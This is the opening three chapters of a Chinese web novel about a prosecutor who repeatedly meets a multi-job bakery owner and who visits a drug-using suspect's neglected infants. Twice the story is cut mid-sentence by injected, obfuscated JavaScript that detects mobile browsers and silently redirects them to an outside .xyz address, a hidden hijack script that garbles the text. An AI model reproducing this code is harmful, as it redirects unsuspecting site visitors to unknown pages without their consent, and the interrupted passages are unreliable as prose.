《春去春又来》 1. 第 1 章 沈灵均不爱喝酒,酒量也一般,喝多一点就上头,头晕脑胀。所以平日里他几乎不会主动喝酒,在必须得喝酒的酒局上,他也会仔细控制着量。但今天他喝得有点多——今天是他们第二检察部主任齐荣平退休的日子,齐荣平自掏腰包请他们部所有人吃饭。 齐荣平早就盼着退休了,从去年起就经常跟沈灵均等人念叨,说他要过幸福快乐自由无忧无虑的退休生活,退休的第一件事就是自驾游遍全中国。 饭桌上的气氛很欢乐,气氛烘托外加第二天是周六,沈灵均一时不注意,喝得有点多。 把齐荣平送上出租车,又确认了几个女同事的去向,沈灵均才点开手机上的app给自己叫了个代驾。叫完代驾,沈灵均左右一看,发现算上他自己,还留在饭店门口的人有五个,都是男人,都在等代驾,几人于是边等边聊,最后只剩下沈灵均和李凌云的代驾没来。 李凌云点了支烟,感叹道:“退休真好啊,我也想退休。” 沈灵均笑笑:“谁不想啊。” 李凌云吐出一口烟,随后又长出一口气,说:“下个月,你应该就能吃上我的送别饭了。” 沈灵均愣了一下,道:“定了?去哪?” 李凌云点了点头:“定了,去云翰。” 李凌云的办公室就在沈灵均隔壁,两个人平时经常互相串门聊案子扯闲篇,关系很不错。几个月前,两人一次闲聊的时候,李凌云跟他说,他有辞职去做律师的想法。截止到上个月,他已经和几家律所有过接触。 李凌云比他大一岁,今年三十四岁,二级检察官,和他一样是八年的工龄,一年算上各种绩效和公积金,一年收入能有三十万出头。李凌云他老婆徐慧现在在一家互联网企业做HR,收入和李凌云差不多,这夫妻俩的收入,即便是在容州,也不算低了。 但李凌云说,他们一家四口的日子还是过得紧巴巴的——李凌云夫妻俩都不是容州本地人,一直没有在容州买房,但眼瞅着他们家老大马上已经快满五岁,眼看着过两年就要上小学,夫妻俩动了买房的心思。 他们一家四口人,怎么着都得买个三室一厅、使用面积一百平往上的房子,再加上交通便利、学区房等一系列限制,哪怕是买套老旧的二手房,首付最低都得在一百五十万以上。 李凌云出身东北一个十八线小城的工薪家庭,家境平平,徐慧的家庭条件比李凌云家还差一些,父亲是工人,母亲无业。按照李凌云的说法,就算把他们夫妻俩全部的积蓄外加公积金提出来,再把四位老人敲骨吸髓,短期内他们依旧很难负担得起一套房子的首付。 “再怎么节流,我们俩也不能节出一套房子的首付钱,没办法,只能尝试开源了,”说到这,李凌云朝沈灵均露出一个有些无奈的笑:“说实在的,我和小慧真有点后悔留在容州了。容漂容漂,漂不起来了,沉底了。但事到如今,后悔也来不及了,”李凌云苦笑一下:“换城市从头再来已经不现实了,我这年纪明年连公都考不了了……等把我手里的这两个案子诉了,我就走。我虽然做了决定,但心里其实很没底,怕两年以后,律师事业毫无起色,铁饭碗还丢了。” 沈灵均拍拍李凌云的肩膀,安慰道:“既然已经决定了,就别给自己加那么多心理包袱了,你有这么多年的检察官工作经验,能力又强,怎么可能会做不好?那么多律所都想邀请你去。你别发财之后把兄弟忘了就行。” “说什么呢你……”李凌云还没来得及再说什么,他叫的代驾就来了,他于是没再多说,朝沈灵均挥了挥手:“行了,那周一见。” “周一见。”沈灵均道。 目送着李凌云走远,沈灵均心中忽然升起一股说不出道不明的情绪——他和李凌云关系不错,如今对方要告别检察官生涯,他心中自然有些怅然,但更多的…… 转行? 沈灵均出着神,视线里出现了一顶很显眼的闪光头盔,是他的代驾来了。 那代驾把电动车停到路边,走到他身前问:“您好,手机尾号2583是吗?” 沈灵均应了一声,手伸进风衣兜里去掏车钥匙,视线不经意间从这代驾小哥脸上扫过,不由得微微一愣。 他的声音是清澈但低沉的男音,沈灵均自然而然地认为这是个代驾小哥,而不是个代驾小姐。但沈灵均看着他的脸,一时间又对这个判断有些不确定了。 这人骨相相当优越,黑夜和饭店大堂的灯光在他脸上呈现出一种和谐自然的光影美学,显出他流畅而清晰的面部骨骼。而好骨相又搭了一副好皮相,他脸很小,皮肉贴着骨头长一样。两道男性中少有的细眉,杏仁眼,但他的眼头却比普通的杏仁眼更尖些,配上开扇形的双眼皮,让他的眼睛多了一些这种眼型少有的一种媚气,眼下有两道卧蚕,鼻子生的窄而挺,唇形饱满,上唇还有个圆嘟嘟的唇珠。整个人有种中性的、柔和又妩丽的美。 但这种不确定在沈灵均心中只驻足了一瞬间。这小哥身高看着和他差不多。而这世上身高超过185、嗓音如男人一般的女人应该还是很少见的——不过,男生女相,还生得如此漂亮的男人,应该也是不多见的,沈灵均在心里默默想到。 许是看他站着不动,这小哥道:“……您好?” 沈灵均连忙把车钥匙交到他手里:“抱歉,喝多了走神了。我带你去停车的地方。” 上了车,沈灵均就靠在椅背上开始闭目养神。车里的空气多少有些窒闷,车行了没一会,沈灵均就有点犯恶心,不受控制地干呕了两声。在他又一次干呕之后,正好碰到个红灯,这代驾小哥刹住车,回头递过来一个塑料袋:“您还好吗?您想吐就吐。要不要我找个地方停车,让您呼吸几口新鲜空气?” 沈灵均有些讶异地接过塑料袋,摆摆手道:“谢谢谢谢,不用了,我就这样,喝了酒之后反应大。” 代驾小哥又递给他几颗糖:“那您吃点清口的糖压一压?这是柠檬糖和薄荷糖。” 沈灵均又道了声谢,拆开一颗薄荷糖含在嘴里,薄荷清爽的气味压住了他的呕意,让他整个人立刻舒服不少。 许是顾及到沈灵均不舒服,代驾小哥把车速放得很慢,刹车也踩得很轻,一路上都把车开得很稳。 真贴心。沈灵均想。 把车停到沈灵均家楼下的地库后,代驾小哥下了车,对沈灵均道:“如果您满意的话,麻烦您给我点个五星好评。您家里有电解质水和葡萄的话,可以吃一点解酒,我载过的很多个客人都说这两样东西解酒很有效。” 类似的请求好评的话沈灵均听到过很多次,但头一回答应得没有一丝敷衍:“好。谢谢,麻烦你了,我会给你打好评的。” 沈灵均回到家草草洗了个澡,便倒在床上睡了。或许是因为喝了酒,他入睡的格外快,一觉睡得昏天黑地,一直睡到第二天中午十一点多才醒。刚醒的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406216|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈灵均还有点迷糊,等他彻底醒过神来,他干的第一件事就是拿起手机,给昨天的代驾小哥写好评。 沈灵均在评论里盛赞了小哥的贴心和车技,一条评论写了好几百字。他平日里在各种app买东西,从来都是等系统自动确认收货的那类人,很少写评价,偶尔应外卖骑手的要求给好评,也都是言简意赅,这是他头一次写这么长的评论。 发完评论,沈灵均洗漱了一番,叫了个外卖解决了午饭。下午沈灵均简单收拾了下屋子,又看了两部电影,还看了一会书。晚上七点多,沈灵均收到了陈彦博的微信。 【急急国王:出来陪我聊天】 沈灵均还没来得及回,陈彦博就发来了一个酒吧地址链接。沈灵均回了个OK,换了身衣服出了门。 陈彦博是他发小。三十五年前,他们两家住对门,于是他们俩在还穿尿布的时候就认识了,从小形影不离,小初高都在一个学校,连大学也是同校不同院。 陈彦博出身自一个医学世家,父母都是医生,祖父、外祖父也都是医生,家中医学氛围浓厚。而他对医学还是真的感兴趣,于是他大学顺理成章地读了医科。博士毕业之后,陈彦博在忙碌的医院里选了个堪称最忙碌的科室,成了一名急诊科医生。 这可苦了最爱玩闹的陈彦博。按他的话说,上班的时候他连句闲话都没力气、没时间说。因此,陈彦博隔三岔五就约他出来“话疗”解压。 与沈灵均不同的是,陈彦博还挺爱酒这一口的,他一般都会在休息日小酌几口,也热衷于去各种酒吧,这次约他去的这家酒吧沈灵均之前没听说过,估计是他新发掘出来的。 这家酒吧是个清吧,一进门,沈灵均就看到了坐在吧台处的陈彦博。沈灵均走过去坐到他旁边,道:“你这个点约我出来,是不是今天值下夜啊?那你也不能喝酒啊。” 陈彦博道:“对,下夜。我不喝酒,他这儿的无酒精饮料也挺好喝的。你可以喝个低度数特调试试,这的特调一绝。嗐,这个点儿了,想约个地方聊天,除了酒吧也就是二十四小时营业的饭店和大排档了,但我不想吃东西。吃了值夜会困。” 陈彦博今天穿了一件带着发光条的荧光绿色外套,在酒吧这种有些昏暗的环境下无比显眼,这也是沈灵均刚才一眼就看见他的原因。陈彦博提起外套领口对着沈灵均晃了晃,道:“好不好看?我新买的。” 沈灵均直抒胸臆:“像个绿头苍蝇。” “滚吧。” 陈彦博从小就喜欢各种花里胡哨的东西,在穿搭上也非常坚定地贯彻着这一审美,经常穿大红大绿大紫大花,沈灵均一向欣赏不来。 沈灵均听了酒保的推荐,点了杯果味特调,水果的清新甘甜中和了酒的苦涩,真的挺好喝的,沈灵均这种不大喜欢酒味的人都觉得很不错。 两个人聊了一会,沈灵均突然听到了吉他拨弦的声音,他顺着声音的方向回头一看,发现有个人坐在酒吧的演唱台上低着头调吉他,应该是酒吧的驻唱歌手。 沈灵均刚想收回目光,这人就抬起头来。沈灵均不由得一愣。 “我妈她……” 陈彦博注意到沈灵均的走神,顺着他的目光往歌唱台的方向看了看:“看什么呢??” 沈灵均回过神来,转过头喝了一小口酒:“没,就是觉得太巧了。昨天我们部门聚餐,我喝了点酒,叫了个代驾,就是台子上准备唱歌那帅哥。” 2. 第 2 章 陈彦博于是又把目光落在那驻唱歌手身上,道:“你没认错吗?嚯,这小哥长得蛮好的。他职业跨度也蛮大的嘛,前一天代驾,今天驻唱。” 沈灵均嗯了一声,说:“没认错。他长了一张令人一见难忘的脸吧。” 陈彦博点点头:“确实,”但陈彦博转过头,将沈灵均从上到下打量了一遍,夹着嗓子道:“但我觉得还是你比较帅啦~~~” 沈灵均表情有点嫌弃地摸了摸胳膊:“得了,怪恶心的。” 沈灵均没有再看那个和他有过一面之缘的代驾小哥,接着陈彦博刚才的话题道:“你继续说,阿姨怎么了?” 陈彦博立刻垮下脸:“我妈昨天给我打电……” 陈彦博话说了一半,就又停了下来,因为一个女生来要沈灵均的微信。等沈灵均拒绝完这个女生后,陈彦博才继续道:“我妈给我打电话,问我下周什么时候休息,她让我去相亲。” 沈灵均了然地点点头:“你不想去。” “我当然不想去!我下周两个夜班两个下夜两个白班,就休一天,我哪来的时间相亲?我说我不想去,她还跟我闹脾气了,说她都跟对方说好了,不能没诚信地毁约……那她答应之前倒是跟我商量啊!” “但你最后还是答应了吧?” 陈彦博叹了口气:“不然怎么办,她是我妈,我犟不过她。真是……从去年开始,她就一直催婚,催催催,现在已经直接越过我开始给我约相亲了。她也不想想,我现在哪有时间恋爱?上班就已经够累了,为了以后评主任,我还得搞学术,如果为数不多的休息日再去谈恋爱,我真就是比牛马还像牛马了。” 沈灵均有些同情地看着他:“确实。你这日程表也太紧了。” 陈彦博抱怨了一会,道:“对了,最近一段时间,那个大姐没再来找你麻烦吧?” 沈灵均点点头:“没有。” “那就好。她如果再来骚扰你,你也别再给她面子,直接报警得了。” “嗯。” 沈灵均陪陈彦博一直聊到一点多,随后陈彦博去上班,他回了家。但或许是因为过了平常的入睡时间,酒精并未如昨晚一般发挥催眠效果,他在床上辗转反侧了很久都没睡着,于是又一觉睡到了中午。 在床上玩了会手机,沈灵均简单洗漱了一番,出门去附近的综合商场吃了个饭,顺便看了个电影。电影结束之后他又去健身房泡了两个小时,再回到家的时候已经是晚上八点了。他晚上想吃养生园的鲍汁捞饭——这家店最开始是余绵绵推荐给他的,但这家店离他家有十公里,外卖配送费一般都要十一块钱,他嫌贵,没点过。后来陈彦博也推荐了这家店给他,他心里这才升腾起好奇来,狠下心点了一次。味道倒真没让他失望,真的很好吃。后来他便成了这家店的常客,隔两周便会花费巨额配送费犒劳自己一回。 这家外卖店出餐很快,下单不过半个多小时,他家的门铃就响了。他给骑手开了门,随后去电梯口叫了电梯。他家住十六楼,因此过了差不多半分钟电梯才上来。电梯门一开,他便伸出手想去接外卖,但他一看到外卖骑手的脸,手便下意识地一顿,预备好要说出口的那句谢谢也被堵在了喉咙里。 电梯里的外卖骑手,赫然是他前天晚上遇到的代驾、昨天晚上在酒吧里看见的驻唱歌手。 对方显然也很惊讶,脸上现出些愕然来。最终是沈灵均先回过神来,道:“手机尾号2583,姓沈。” 这代驾……骑手小哥连忙把外卖递给他,说:“对,沈先生您的外卖,祝您用餐愉快。” 沈灵均接过外卖,短暂地犹豫了半秒,随后道:“好巧,又见面了。” 骑手小哥立刻回道:“是啊,好巧,我们前天刚见过吧,您叫的代驾。” 沈灵均原本有些担心对方忘了自己,听他这么说,心下微松:“对。你本职是做外卖骑手吗?” 骑手小哥还没来得及回答,电梯门就开始自动关闭了,但他立刻按上开门键,道:“不是,我是开面包店的,”随后,他从兜里摸出一张订餐卡递给沈灵均:“这上面有我们店的地址和微信,感兴趣的话您可以加个微信,朋友圈会更新我们每日出餐的产品。店里主营司康、欧包、碱水包、贝果……也能制各种蛋糕,满88全市免费配送,大多数产品都可以邮寄。” 沈灵均有些意外地接过订餐卡:“好。” 这个时候,电梯显示屏上出现了一个向下的箭头,是楼下有人叫电梯了,骑手小哥忙道:“您如果加了微信之后想买东西,跟对面说是小戚介绍来的,可以给您打八八折。” “好,谢谢你。七的是哪个七?” “戚继光的戚。” 说完,骑手小哥松开了按在开门键上的手,电梯开始缓缓关闭。在电梯门彻底合拢之前,他朝沈灵均笑了笑,再次道:“祝您用餐愉快。” 沈灵均回到家后便拿起手机,在订单页面查到了负责这单外卖的骑手名字:戚玉衡。很好听的名字。 戚玉衡开的这家面包店名叫星星烘焙坊,地址在崇宁区。沈灵均按照订餐卡上的微信号搜索,搜出来的是一个名为‘星星烘焙 Star Bakery’的微信。因为自己叫‘玉衡’,所以开的店名叫‘星星烘焙坊’吗? 沈灵均刚把好友申请发出去,对方就通过了。随后,对方先是发过来一个点单小程序,紧接着又发来一条消息: 【星星烘焙 Star Bakery:不好意思宝宝,今天小店已经打烊了[苦涩],但是你可以进小程序看一看今天的品,微信朋友圈里还有产品实拍大图[玫瑰][玫瑰]。小店产品保证纯手工制作,使用新鲜优质原料,不添加任何添加剂和防腐剂[加油]】 看说话的口气,微信管理人似乎是个女生。是和女友开的夫妻店吗? 沈灵均回了个‘好的’,点进了点单小程序。如戚玉衡所说,店里主营司康、欧包、碱水包、贝果这些相对比较耐存放的西点,口味繁多,光司康一个品类就有十二个口味,但店里也有奶酪罐子、巴斯克蛋糕这种短保西点。价格很便宜——如今烘焙行业整体价格虚高,容州又是有名的高物价城市,面包蛋糕这类西点只有更贵没有最贵,离沈灵均家最近的烘焙坊一个原味无夹心的贝果就要卖十五块。这样比较来看,一个原味贝果五块、夹心贝果只要八到十块的星星烘焙坊简直可以称为业界良心了。 看朋友圈里那一整盘一整盘不同口味的司康贝果,沈灵均觉得这家烘焙坊虽然价格便宜,但每日的营业流水应该不会太少。但为什么身为老板的戚玉衡会在开着一家生意不错的烘焙坊的同时又身兼多职,又做代驾、又做驻唱歌手、又送外卖呢? 很缺钱吗? 俗话说相逢即是有缘,而他和戚玉衡短短三天内就相逢了三次,可谓是有缘的三次幂,沈灵均打算支持一下戚玉衡的生意。他本就经常会买全麦面包或是贝果来做早餐,而星星烘焙坊似乎也有在特意瞄准控糖健身人群,大部分产品都是用全麦粉制作,用各类代糖来代替蔗糖,因此店里的产品大多都符合他的口味,而他自己吃不完的还可以分给办公室的两个小姑娘,买了也不会浪费。 第二天上午,沈灵均各种产品都买了一些,一共花了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406217|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百多块,因为打算分给办公室的两个女同志吃,所以收货地址他填的是市检。 一个多小时后,沈灵均在检察院门口取餐时遇到了乔瑜。 乔瑜是市公安局刑侦支队的警察,也是他的助理余绵绵的男友,两个人恋爱已经近一年,现在感情稳定。 乔瑜也看到了沈灵均,打招呼道:“沈检!” “乔警官,这个时候来我们这,送卷吗?” “对。” “什么类型的案子?” “故意杀人,是沈检你们部的案子。” “诶,那说不定会分到我这呢,”沈灵均笑了笑,道:“马上就到午休时间了,来送卷,顺便和绵绵吃个饭是吧?” 乔瑜有点不好意思地点点头:“对。” “那你之前跟她说了你会来吗?” “没有。我今天也是突然被安排来送卷的,还没来得及跟她说。” “那你送完卷就留在案管中心等着吧,我把绵绵叫下来。” 乔瑜道:“好,麻烦沈检了。” “小事。” 回到办公室,沈灵均和余绵绵道:“绵绵,乔警官来送卷,他中午想和你一块吃饭,现在就在案管中心等着呢。” 余绵绵愣了一下,随后立刻从包里翻出她的化妆包:“他也没跟我说过他今天要来啊!我今天起晚了,现在还是无眉星人呢。还好我带了化妆包……” 沈灵均把外卖袋里的东西都倒到自己桌上,发现老板还送了他两个芋泥奶酪球作为赠品。袋子里还有一张卡通便利贴,但不是一般外卖商家会用的那种印刷好的便利贴,便利贴上的文字是手写的,字迹非常漂亮,书写者显然有很优秀的书法功底。最上面一行写着TO Shen——Shen是他的微信昵称。 【感谢您选择星星烘焙,希望小店的产品能给您带来一天的好心情与好运气,祝您身体健康,工作顺利,欢迎您下次光临!】 结尾还画了两颗心。沈灵均拿着这张便利贴欣赏了一会,没扔,顺手把它贴在了自己桌上的书立上。随后他便招呼余绵绵和杜韵:“绵绵,小韵,我买了很多司康贝果之类的点心,你们来挑挑,想吃什么味道自己拿。” 杜韵是今年招进来的合同制书记员,刚刚大学毕业,来报道还不到一个月,她本就是内向的性格,初初步入社会,平日里说话做事都有些放不开。听了沈灵均的话,她先是下意识地站起了身,但她看了一眼余绵绵,发现余绵绵没动,立刻顿住了身,保持在了一个站也不是坐也不是的姿势。 沈灵均又道:“没事小韵,别客气。” 余绵绵也察觉到了杜韵的拘谨,停下动作走到沈灵均桌旁挑选起来,看她动作,杜韵表情放松了一些,也凑了过来。余绵绵一边翻看糕点包装上的配料表一边道:“沈哥,我听骄阳说,李哥要辞职去做律师了,真的假的?” 沈灵均点点头:“真的。” “那李哥之后是做民诉还是刑诉啊?” “这个我也不知道,但做刑诉的可能大一些吧。毕竟他一直都是负责刑案的检察官。” “也是,李哥本来就是学刑法出身……不过,要是李哥走了,一时半会不能再有新的检察官来吧?那咱们屋任务岂不是要加重了?” 沈灵均笑笑,道:“我听齐主任说,下个月有遴选考试,这样的话,下下个月应该就能有新人到岗,两个月能多几件案子?顶多就是加几天班而已。” 说曹操曹操到,沈灵均话音刚落,李凌云就来了他们办公室。李凌云道:“灵均,陆晓莉那个案子,周三开庭……你要去吗?” 3. 第 3 章 陆晓莉是沈灵均经办的一个案子的嫌疑人家属。 今年一月,刚过完年不久,沈灵均分到一个案子,嫌疑人王建奎涉嫌抢劫罪。陆晓莉是嫌疑人王建奎的女友,两个人育有一对刚刚半岁的双胞胎女儿。王建奎和陆晓莉都有吸毒史,两个人都曾被治安处罚过,是吸毒惯犯。去年九月,王建奎因为一直以来交易的毒/品卖家要求涨价而心生不满,在两人□□时先是用刀威胁卖家低价卖给他毒/品,在威胁不成后,他将卖家杀害并抢走了其身上的现金和毒/品。 因为涉及到对被害人家属的赔偿问题,分到案子后的第二天,沈灵均便尝试联系王建奎的家属。 王建奎虽然已经和陆晓莉同居并生育了两个孩子,但两个人一直没有领证,因此从法律意义上看,陆晓莉算不上王建奎的“家属”。于是,沈灵均试图联系王建奎的父母。而王建奎少时丧父,母亲在他四岁时重组家庭,而后又生育了两个孩子,对王建奎采取放养的态度。王建奎十五岁便离开家,截止到案发时已与母亲失联多年。市公安局刑侦支队的队长瞿春光告诉他,在案件的侦查阶段,他们警方就联系过王建奎的母亲。但她的电话警方也只打通了一次,而这通电话通到一半就被她挂断了,之后她的电话一直都是关机状态。 在给王母打了数通电话无果后,沈灵均只能联系陆晓莉。陆晓莉的电话倒是能打通,但沈灵均一天给她打了五个电话,都是无人接听的状态。沈灵均第二天再打,陆晓莉的电话也关机了。第三天继续打,倒是有人接了,但是接电话的人口齿不清,沈灵均根本听不清她在说什么,只能隐约听出来对方是个女人。第四天,沈灵均从公安那边问到了陆晓莉的地址,直接找上了门。 因为陆晓莉还在哺乳期,两个孩子才半岁,沈灵均去陆晓莉家前在药店买了两盒适合女性哺乳期服用的复合维生素,又去超市买了两罐奶粉。 陆晓莉住在丰山区一个老旧小区里,小区楼房的房龄比沈灵均都大,楼内的楼梯边缘都已经出现了不同程度的磨损,走廊两侧的墙皮更是已经剥脱大半。 沈灵均在门口敲了两分钟的门,陆晓莉才出来应门。门一开,扑面而来的就是一股强烈的异味,让沈灵均本能地屏住了呼吸。陆晓莉穿着一件宽大的睡袍,嘴里叼着根香烟,眼睛跟睁不开似地眯成一条缝,用沙哑的嗓音问道:“……你谁?” 沈灵均吐出一口气,把自己的工作证递给她:“你好,我是容州市人民检察院的检察官。我之前给你打过电话。” 陆晓莉扫了一眼他的工作证,道:“找我干什么?又是因为王建奎的事?” 沈灵均说:“方便进去谈……” 陆晓莉不耐地翻了个白眼:“草,大哥,我真的能交代的都交代了,你们到底还要纠缠我到什么时候?”随后,陆晓莉退后几步,“你想进来就进来,但我这没有能让你坐的地方。” 沈灵均走进屋内,打量着陆晓莉的住处——三十多平米的房子,一室一厅一卫的户型。很脏,很乱。客厅瓷砖上到处都是烟灰和杂乱的鞋印,沙发上堆满了衣服,内衣内裤袜子胡乱地被堆在一块,小小的茶几上全是啤酒罐和泡面盒。陆晓莉没骗他,确实连个坐的地方都没有。 进门之后,房间里的异味便更浓重,一时之间,沈灵均都有些佩服陆晓莉,能在这种气味冲击下依旧面不改色,是个狠人。 “陆小姐,我今天来是想和你谈谈对被害人的赔偿问题。被害人家属的意思……” 沈灵均还没说完,只听卧室内传来了一阵有些嘶哑的哭声。沈灵均因此停下话头,看向陆晓莉:“孩子好像哭了。” “啊,我知道,”陆晓莉脸上不耐的神色更重,“我们没钱赔。王建奎没告诉你吗?”陆晓莉抬起双手示意了一下周围的环境,“你看看我们俩这居住环境。你瞧着他、我,像是有钱赔的样子吗?” “但被害人家属那边表示,只要你们肯赔偿三万,他们就愿意出谅解书。” “别说三万了,三千,三百我都没有!” 卧室里的孩子一直在哭,陆晓莉说完这句话就转头进了卧室,骂道:“操,天天哭天天哭!” 沈灵均跟在她身后进了卧室,只见两个婴儿躺在床上,哭得小脸通红。陆晓莉抱起一个在怀里很敷衍地摇着,但却没什么效果,孩子还是一直在哭。陆晓莉为数不多的耐心很快便消耗殆尽,随手把孩子往床上一抛。 沈灵均被她的动作吓了一跳,忙说:“不能这么扔孩子的啊,婴儿很脆弱的。” 陆晓莉没理他,拿起床头柜上的烟盒,抽出一根抽了起来。沈灵均看她没有再管孩子的意思,便弯下腰打算把离他更近的那个孩子抱起来。离孩子越近,沈灵均便越能闻到一股强烈的臭味,等沈灵均把孩子抱起来的时候,他发现孩子身上穿的尿不湿明显地往下沉坠——这应该就是屋里强烈臭味的来源。 “尿不湿在哪?”沈灵均问。 陆晓莉吸了口烟,含糊地道:“厕所里有。” 沈灵均抱着孩子来到卧室,发现装尿不湿的包装袋里只剩下一片尿不湿,怀里的这个孩子用上,她的姐妹就用不上。沈灵均叹了口气,把孩子身上的尿不湿拆了下来。这张尿不湿上全是屎尿,孩子小小的屁股上也满是干掉的粪便,因为太久没换过尿不湿的缘故,孩子的屁股上起了一大片红疹。 沈灵均的大表妹孙一涵去年刚生了小孩,他那小外甥前段时间也起了这种尿布疹,他还记得孙一涵跟他念叨的药膏名,给孩子换完尿不湿后,他就在外卖平台上买了几只药膏,又下单了两包尿不湿。 但虽然沈灵均给孩子换了尿不湿,孩子却还是一直哑着嗓子哭,沈灵均抱着她哄了好一会都没哄好。沈灵均在心里琢磨了一下,问陆晓莉道:“你上次给孩子喂奶是什么时候?” 陆晓莉这会已经快倒在床上睡着了,她道:“忘了,早上……七八点吧。” 现在已经下午四点多了,如果陆晓莉说的是真的,孩子已经超过八个小时没有进食了。但沈灵均听孙一涵说过,半岁的小孩,一天得喂四五次。沈灵均没有要求陆晓莉给两个孩子喂奶,而是找出水壶开始烧热水,准备一会给孩子喂点奶粉。 他同瞿春光打听陆晓莉住址的时候,听瞿春光说了不少陆晓莉的事。瞿春光说,王建奎案侦查阶段,他们在取陆晓莉的证言时觉得她状态不对给她做了尿检,结果是阳性,陆晓莉于是再一次进了拘留所。他们本来想安排陆晓莉去强戒所强制戒毒,但是因为她的两个孩子年纪太小,又没有其他的亲人能够照料,最终只是让陆晓莉接受社区戒毒。 在陆晓莉两个月前还在长期吸食毒/品的情况下,沈灵均真不放心孩子喝她的母乳。 在他给孩子冲奶粉的时候,陆晓莉从卧室里走了出来,道:“这你买的奶粉?” “对,”沈灵均指了指另一个袋子,“那是给你买的复合维生素。” 陆晓莉并没有跟他客气:“谢谢你啊检察官。” 说完,她又转头回卧室了。 既然她不愿意替王建奎赔偿,沈灵均和她便也没什么话好聊,更何况陆晓莉一副不愿意和他沟通的样子。沈灵均于是没有再主动同她说话。 给两个孩子喂完奶粉后,沈灵均叫的两个外卖也到了。沈灵均给另一个孩子换了尿不湿,不出沈灵均意料,她的屁股上也有大量的尿布疹。在两个孩子的屁股涂了药膏后,沈灵均叫醒了已经睡着的陆晓莉——真不知道该说她信任公职人员还是该说她没心没肺,有一个第一次见面的陌生男人待在家里,陆晓莉居然还睡着了。 “这是给两个孩子抹尿布疹的药膏,这个修复乳液一天要抹三四次,这两支药膏早一次晚一次,等药膏干掉再给孩子穿尿不湿……” 陆晓莉耷拉着眼,喊道:“好好好,知道了,你还有事没有?” 沈灵均沉默了一会,没再说什么:“没有了,我这就走。” 离开陆晓莉家,沈灵均就给瞿春光打了个电话。 “瞿队,说话方便吗?我刚从陆晓莉那出来,她的生活状态很颓废,家里的卫生环境也不好,她看上去似乎也没有很好的尽到抚养义务……咱们民政部门有针对她做什么帮扶和救助吗?” “有啊!她那个社会救助申请表,还是我们队小陶一笔一划教她写的呢。” “陆晓莉是文盲?” “不算纯文盲,但离文盲也不远了。她说她读到过小学四年级,所以也不是一个字都不识,但是在读写上存在着很大的障碍。基本只会读写一些简单的字,”瞿春光啧了一声,“这个陆晓莉的情况很复杂,因为她不是有吸毒史嘛,当地社区的民警已经关注她很久了。她不是咱们容州本地人,她自己说,她是渭西省宜通市某某村人,但我们去查了,宜通根本没有叫那个名字的村……也不知道她是在说真话还是蒙我们。反正,陆晓莉是个黑户。她原本是在夜场坐/台的,和王建奎恋爱怀孕后就不做了,一家人全靠王建奎四处打短工维持生活。” “王建奎刚出事的时候,我们就察觉到她生活很困难。她文化水平低、处在哺乳期没有生活来源,各方面条件都够,我们一开始想给她申个低保。但是因为她的户籍问题,只能让她去申请暂时性的社会救助。因为她两个孩子还很小嘛,民政部门批得很快,她现在已经领了一段时间的救助金了。” “那瞿队,你知不知道这个社会救助金大概有多少啊?陆晓莉多久领一次救助金?大概能领多久?” “这我还真不太清楚,我问问啊……”瞿春光的声音随后便变小了,过了一会才恢复成正常的音量:“沈检,我问了一下我们队小陶,她说这个救助金发放的时间是不确定的,具体要看陆晓莉什么时候能找到工作、有收入,但这个救助金毕竟是暂时的,有一个发放的上限。陆晓莉现在是半个月去街道办领一次救助金,因为她现在住的房子是今年九月份到期,房租去年付过了,她暂时不用操心住房的问题,所以一次发给她七百元救助金。小陶说,如果一直按照这个频率发放,陆晓莉能领一年的救助金。陆晓莉所在的社区对她也挺关注的,还给她送过米面油这些生活必需品。” “那按理来说,陆晓莉和她女儿的基本生活是有保障的。” 瞿春光听出了沈灵均的弦外之音,道:“是。但陆晓莉本人那个状态,确实很让人怀疑她能不能照顾好孩子。唉,真不知道说他们两口子什么好,自己的日子过成那个样子,还要生小孩,生了小孩之后能痛改前非也倒罢了,但却把日子越过越糟。王建奎他动手前但凡想想孩子呢?现在两个孩子还小,粗糙点养倒也不花什么钱,但等孩子大了呢?” “是啊。两个孩子是真的可怜。陆晓莉对孩子是一点都不上心,我刚才去她家,两个孩子一直哭,尿布不知道多久没换过,长了一屁股疹子,还饿了挺久的。” 瞿春光叹了口气,又抱怨了王建奎陆晓莉几句。 挂掉电话后,沈灵均没有立刻开车离开,靠在车上点了根烟。陆晓莉的两个闺女跟他那小外甥差不多大,但与这两个小姑娘不同的是,他的小外甥从出生就是父母以及祖辈的掌上明珠,捧在手里怕摔了含在嘴里怕化了。 他穿的是孙一涵精挑细选出来的婴儿服,最便宜的一套也要两百块;吃的也精细,五个月之前一直是母乳和奶粉混合喂养,五个月之后,孙一涵以及孩子奶奶便尝试开始给他做各种辅食增添营养,果蔬肉类,一样都没落下,进一步丰富了他的饮食。 他睡的婴儿床是智能婴儿床,普通婴儿床该有的无缝拼接和安全护栏它全都有,除此之外还带夜灯和落地灯,二十四小时智能检测,听声自启安抚模式,能放音乐,还可折叠。即便如此,孙一涵夫妻还觉得不够,又给宝宝买了个护脊睡眠舱。那个睡眠舱不光能帮助宝宝稳定睡姿,还可以二十四小时监控宝宝的呼吸心率以及睡眠质量。单一张床加一个睡眠舱,孙一涵夫妻就花了小一万。算上他俩为孩子置办的其他东西,花销至少三四万。 与没人换尿不湿、一口母乳都喝不上的陆晓莉的两个女儿相比,他的外甥就像是个王子。 同人不同命。 